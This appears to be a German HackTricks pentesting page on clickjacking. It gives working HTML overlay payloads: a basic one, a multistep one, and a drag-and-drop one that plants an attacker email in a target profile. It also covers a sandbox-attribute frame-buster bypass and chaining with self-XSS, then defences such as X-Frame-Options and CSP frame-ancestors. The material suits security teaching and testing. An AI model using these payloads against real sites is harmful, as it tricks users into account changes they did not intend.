hacktricks/pentesting-web/clickjacking.md

230 lines
12 KiB
Markdown
Raw Permalink Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Unterstütze HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Verwende [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
Erhalte heute Zugang:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2024-02-10 15:36:32 +00:00
## Was ist Clickjacking
Bei einem Clickjacking-Angriff wird ein **Benutzer** **getäuscht**, indem er auf ein **Element** auf einer Webseite klickt, das entweder **unsichtbar** oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.
### Vorab ausgefüllte Formulare
Manchmal ist es möglich, **den Wert von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite auszufüllen**. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten auszufüllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt.
2020-10-13 11:29:54 +00:00
### Formular mit Drag&Drop ausfüllen
2020-10-13 11:29:54 +00:00
Wenn du möchtest, dass der Benutzer ein **Formular ausfüllt**, aber ihn nicht direkt bitten möchtest, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das du kennst) einzugeben, kannst du ihn einfach bitten, etwas zu **Drag&Drop**, das deine kontrollierten Daten eingibt, wie in [**diesem Beispiel**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Grundlegende Nutzlast
```markup
<style>
2024-02-10 15:36:32 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Multistep Payload
```markup
<style>
2024-02-10 15:36:32 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click-Payload
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Wenn Sie einen **XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer** auf ein Element klickt, um den XSS **auszulösen** und die Seite **anfällig für Clickjacking** ist, könnten Sie dies ausnutzen, um den Benutzer zu täuschen, auf die Schaltfläche/den Link zu klicken.\
Beispiel:\
_Sie haben einen **self XSS** in einigen privaten Details des Kontos gefunden (Details, die **nur Sie festlegen und lesen können**). Die Seite mit dem **Formular**, um diese Details festzulegen, ist **anfällig** für **Clickjacking** und Sie können das **Formular** mit den GET-Parametern **vorbefüllen**._\
\_\_Ein Angreifer könnte einen **Clickjacking**-Angriff auf diese Seite vorbereiten, indem er das **Formular** mit der **XSS-Nutzlast** **vorbefüllt** und den **Benutzer** dazu bringt, das Formular **abzusenden**. Wenn das Formular also **eingereicht wird** und die Werte geändert werden, wird der **Benutzer den XSS ausführen**.
## Strategien zur Minderung von Clickjacking
### Client-Seitige Abwehrmaßnahmen
Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreifen, um Clickjacking zu verhindern:
* Sicherstellen, dass das Anwendungsfenster das Haupt- oder oberste Fenster ist.
2024-02-10 15:36:32 +00:00
* Alle Frames sichtbar machen.
* Klicks auf unsichtbare Frames verhindern.
* Benutzer über potenzielle Clickjacking-Versuche informieren und warnen.
2024-02-10 15:36:32 +00:00
Diese Frame-Busting-Skripte können jedoch umgangen werden:
* **Sicherheitseinstellungen der Browser:** Einige Browser könnten diese Skripte basierend auf ihren Sicherheitseinstellungen oder mangelnder JavaScript-Unterstützung blockieren.
* **HTML5 iframe `sandbox` Attribut:** Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das `sandbox`-Attribut mit den Werten `allow-forms` oder `allow-scripts` ohne `allow-top-navigation` festlegt. Dies verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z.B.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Die `allow-forms` und `allow-scripts` Werte ermöglichen Aktionen innerhalb des iframes, während die Navigation auf der obersten Ebene deaktiviert wird. Um die beabsichtigte Funktionalität der angegriffenen Seite sicherzustellen, könnten zusätzliche Berechtigungen wie `allow-same-origin` und `allow-modals` erforderlich sein, abhängig von der Art des Angriffs. Nachrichten in der Browser-Konsole können Hinweise darauf geben, welche Berechtigungen erlaubt werden sollen.
2024-02-10 15:36:32 +00:00
### Serverseitige Abwehrmaßnahmen
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
Der **`X-Frame-Options` HTTP-Antwortheader** informiert Browser über die Legitimität der Darstellung einer Seite in einem `<frame>` oder `<iframe>`, um Clickjacking zu verhindern:
* `X-Frame-Options: deny` - Keine Domain kann den Inhalt einrahmen.
* `X-Frame-Options: sameorigin` - Nur die aktuelle Seite kann den Inhalt einrahmen.
* `X-Frame-Options: allow-from https://trusted.com` - Nur die angegebene 'uri' kann die Seite einrahmen.
* Beachten Sie die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors Direktive.
#### Content Security Policy (CSP) frame-ancestors Direktive
Die **`frame-ancestors` Direktive in CSP** ist die empfohlene Methode zum Schutz vor Clickjacking:
* `frame-ancestors 'none'` - Ähnlich wie `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Ähnlich wie `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Ähnlich wie `X-Frame-Options: allow-from`.
Zum Beispiel erlaubt die folgende CSP nur das Einrahmen von derselben Domain:
`Content-Security-Policy: frame-ancestors 'self';`
Weitere Details und komplexe Beispiele finden Sie in der [frame-ancestors CSP-Dokumentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) und in der [CSP frame-ancestors Dokumentation von Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-02-10 15:36:32 +00:00
### Content Security Policy (CSP) mit `child-src` und `frame-src`
2024-02-06 03:10:38 +00:00
Die **Content Security Policy (CSP)** ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injektionsangriffe zu verhindern, indem sie angibt, welche Quellen der Browser zulassen soll, um Inhalte zu laden.
2024-02-06 03:10:38 +00:00
#### `frame-src` Direktive
* Definiert gültige Quellen für Frames.
* Ist spezifischer als die `default-src` Direktive.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Diese Richtlinie erlaubt Frames von derselben Herkunft (self) und https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-10 15:36:32 +00:00
#### `child-src` Direktive
* Eingeführt in CSP Level 2, um gültige Quellen für Web-Worker und Frames festzulegen.
* Dient als Fallback für frame-src und worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Diese Richtlinie erlaubt Frames und Worker von derselben Herkunft (self) und https://trusted-website.com.
2024-02-06 03:10:38 +00:00
**Nutzungsnotizen:**
* Abwertung: child-src wird zugunsten von frame-src und worker-src schrittweise eingestellt.
* Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.
* Strikte Quelldefinition: Nur vertrauenswürdige Quellen in den Direktiven einbeziehen, um Ausnutzung zu verhindern.
2024-02-06 03:10:38 +00:00
#### JavaScript Frame-Breaking Scripts
Obwohl nicht völlig narrensicher, können auf JavaScript basierende Frame-Busting-Skripte verwendet werden, um zu verhindern, dass eine Webseite in einem Frame angezeigt wird. Beispiel:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 15:36:32 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-02-10 15:36:32 +00:00
#### Verwendung von Anti-CSRF-Token
* **Token-Validierung:** Verwenden Sie Anti-CSRF-Token in Webanwendungen, um sicherzustellen, dass zustandsverändernde Anfragen absichtlich vom Benutzer und nicht über eine Clickjacked-Seite vorgenommen werden.
2024-02-10 15:36:32 +00:00
## Referenzen
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
Zugang heute erhalten:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks unterstützen</summary>
2023-12-31 01:25:17 +00:00
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}